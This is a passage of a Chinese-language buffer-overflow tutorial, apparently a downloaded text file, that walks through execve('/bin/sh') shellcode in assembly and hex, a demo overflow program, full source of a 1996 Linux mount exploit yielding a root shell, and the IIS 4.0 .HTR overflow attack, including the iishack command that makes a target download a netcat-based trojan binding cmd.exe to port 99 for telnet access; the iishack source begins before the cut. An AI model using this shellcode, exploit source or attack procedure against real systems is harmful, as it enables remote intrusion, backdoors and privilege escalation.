?? xiazai.txt
字號:
0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d < main+29>: pushl %eax
前面幾句是參數(shù)傳遞。
0x800014e < main+30>: call 0x80002bc < __execve>
再來分析一下execve()函數(shù)。
0x80002bc < __execve>: pushl %ebp
0x80002bd < __execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
這是每個函數(shù)的進入必須處理部分。
0x80002c0 < __execve+4>: movl $0xb,%eax
將eax拷貝到堆棧上的0xb(11)處。這是系統(tǒng)調(diào)用表的索引,及是execve調(diào)用。
0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx
0x80002cb < __execve+15>: movl 0x10(%ebp),%edx
0x80002ce < __execve+18>: int $0x80
進入中斷,也就是系統(tǒng)內(nèi)核,實現(xiàn)系統(tǒng)調(diào)用。為了防止execve調(diào)用不成功,可以在程序后面再加入一個exit系統(tǒng)調(diào)用。
將上面所述,我們就得出一段調(diào)用shell的二進制(匯編)代碼:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
由于我們不知道程序的運行空間,所以使用JMP和CALL指令。這兩個指令可以使用相對地址。如果在“/bin/sh”前放一條CALL指令,并將一個JMP指令跳向它。這個字符串地址將PUSH到堆棧上,作為CALL的返回地址。我們所做的就是將返回地址拷貝到一個寄存器。那么程序的執(zhí)行順序如下:
內(nèi)存低端 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內(nèi)存高端
89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF
buffer sfp ret a b c
< ------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
棧頂 棧底
經(jīng)過這些改動后,使用索引地址,參考下面的代碼:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
通常將上面這段代碼翻譯成二進制代碼,放在一個數(shù)組里。
將上面的程序用機器碼表示即可得到下面的十六進制shell代碼字符串。
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
下面的程序是怎樣利用的示范:
example4.c
----------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
----------------------------------------------------------------------
這個程序所做的是,在large_string中填入buffer的地址,并把shell代碼放到large_string的前面部分。然后將large_string拷貝到buffer中,造成它溢出,使返回地址變?yōu)閎uffer,而buffer的內(nèi)容為shell代碼。
這樣當程序試從strcpy()中返回時,就會轉(zhuǎn)而執(zhí)行shell。
第四節(jié) 利用緩沖區(qū)溢出進行的系統(tǒng)攻擊
如果已知某個程序有緩沖區(qū)溢出的缺陷,如何知道緩沖區(qū)的地址,在那兒放入shell代碼呢?由于每個程序的堆棧起始地址是固定的,所以理論上可以通過反復重試緩沖區(qū)相對于堆棧起始位置的距離來得到。但這樣的盲目猜測可能要進行數(shù)百上千次,實際上是不現(xiàn)實的。解決的辦法是利用空指令NOP。在shell代碼前面放一長串的NOP,返回地址可以指向這一串NOP中任一位置,執(zhí)行完NOP指令后程序?qū)⒓せ顂hell進程。這樣就大大增加了猜中的可能性。可以編寫程序來自動實現(xiàn)這一功能。請參見下面的這個比較經(jīng)典的程序。
低內(nèi)存端 buffer sfp ret *str 高內(nèi)存端
< ------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
棧頂 ^ | 棧底
|_______________________________|
圖中,N代表NOP,S代表shell。下面是一個緩沖區(qū)溢出攻擊的實例,它利用了系統(tǒng)程序mount的漏洞:
example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include < unistd.h>
#include < stdio.h>
#include < stdlib.h>
#include < fcntl.h>
#include < sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
----------------------------------------------------------------------
程序中g(shù)et_esp()函數(shù)的作用就是定位堆棧位置。程序首先分配一塊暫存區(qū)buff,然后在buff的前面部分填滿NOP,后面部分放shell代碼。最后部分是希望程序返回的地址,由棧地址加偏移得到。當以buff為參數(shù)調(diào)用mount時,將造成mount程序的堆棧溢出,其緩沖區(qū)被buff覆蓋,而返回地址將指向NOP指令。
由于mount程序的屬主是root且有suid位,普通用戶運行上面程序的結(jié)果將獲得一個具有root權(quán)限的shell。
第五節(jié) 緩沖區(qū)溢出應用攻擊實例
eEye - Digital Security Team利用他們開發(fā)的Retina網(wǎng)絡安全掃描器時,發(fā)現(xiàn)了微軟IIS4.0的一個緩沖區(qū)溢出漏洞,從而產(chǎn)生了一些列的攻擊。下面是對這一過程的詳細分析。
受到影響的系統(tǒng)
Internet Information Server 4.0 (IIS4)
Microsoft Windows NT 4.0 SP3 Option Pack 4
Microsoft Windows NT 4.0 SP4 Option Pack 4
Microsoft Windows NT 4.0 SP5 Option Pack 4
目前,Internet上90%的NT Web服務器運行的是上述系統(tǒng)。所以這一造成的后果是相當巨大的。
原理
IIS把整個的URL地址傳給處理IIS默認后綴(.ASP, .IDC, .HTR)的DLL。如果ISAPI DLL沒有一個很好的邊界檢查的話,會產(chǎn)生一個緩沖區(qū)溢出,它利用IIS(inetinfo.exe),允許執(zhí)行遠程計算機上的任意代碼。
利用這一原理,eEye利用Retina使用這些后綴,來探測是否存在這樣的漏洞。結(jié)果,發(fā)現(xiàn)了這樣的漏洞。在發(fā)送"GET /[overflow].htr HTTP/1.0"后,對方的服務器沒有反映了。于是,使用調(diào)試器,進行分析后發(fā)現(xiàn),這個緩沖區(qū)有3K。請參看前面介紹的原理。
下面是調(diào)試信息:
EAX = 00F7FCC8 EBX = 00F41130
ECX = 41414141 EDX = 77F9485A
ESI = 00F7FCC0 EDI = 00F7FCC0
EIP = 41414141 ESP = 00F4106C
EBP = 00F4108C EFL = 00000246
注: Retina使用"A" (0x41)來填充緩沖區(qū)。
解釋:
這個溢出和.HTR后綴有關(guān)。IIS包含了允許Windows NT用戶通過web目錄/iisadmpwd/改變他們的口令的能力。這個特點是由一系列的.HTR文件和ISAPI后綴文件ISM.DLL實現(xiàn)的。因此,在將URL傳遞給ISM.DLL的這一行的某個地方,并沒有進行邊界檢查,于是就發(fā)生了溢出。.HTR/ISM.DLL ISAPI過濾器都在IIS服務器上缺省安裝。
攻擊方法
利用上述的毛病,eEye寫了兩個程序: iishack.exe和 ncx.exe。
把ncx.exe拷貝到你的web服務器上。ncx.exe是一個特洛伊木馬程序,是netcat.exe的改進程序。主要變化是將-l -p 80 -t -e cmd.exe作為一個固定的參數(shù)運行,始終將cmd.exe綁定在80端口。ncx..exe的代碼也比netcat.exe要小,有利于攻擊。
如果不能在服務器上使用ncx.exe的話,可以使用ncx99.exe。主要原因是ncx.exe綁定80端口,有可能不能用。Ncx99.exe綁定99端口。
假設你的web server是:www.mysvr.com,對方的IIS server是www.xxx.com 。運行下面的命令:
iishack www.xxx.com 80 www.mysvr.com/ncx99.exe (注意,不要加http://字符!)
運行后,可以看到如下信息:
------(IIS 4.0 remote buffer overflow exploit)-----------------
(c) dark spyrit -- barns@eeye.com.
http://www.eEye.com
[usage: iishack < host> < port> < url> ]
eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe
do not include 'http://' before hosts!
---------------------------------------------------------------
Data sent!
等待足夠多的時間。這樣,你已經(jīng)利用這一漏洞并在被攻擊的服務器上留下后門了。隨后,可以使用Telnet來操作對方的計算機。
Telnet www.xxx.com 99
結(jié)果是這樣:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\>
這就說明你已經(jīng)能進入對方的計算機了。現(xiàn)在可以進行任何想要進行的操作了。
如果想要退出,只需鍵入exit。
對這個漏洞的補救方法:在IIS的www service屬性中將主目錄的應用程序設置的*.htr的映射刪除。
Iishack.exe程序的源代碼
下面將iishack.exe的源代碼放在這里,供有興趣者參考。在分析這段代碼時,請參照前面的原理的講解。如要編譯成可執(zhí)行代碼,請用Turbo ASM來編譯。
; IIS 4.0 remote overflow exploit.
; (c) dark spyrit -- barns@eeye.com
;
; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and
; #beavuh... and all the other kiwi's except ceo.
;
; credits to acp for the console stuff..
;
; I don't want to go in too deeply on the process of exploiting buffer
; overflows... there's various papers out there on this subject, ins
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -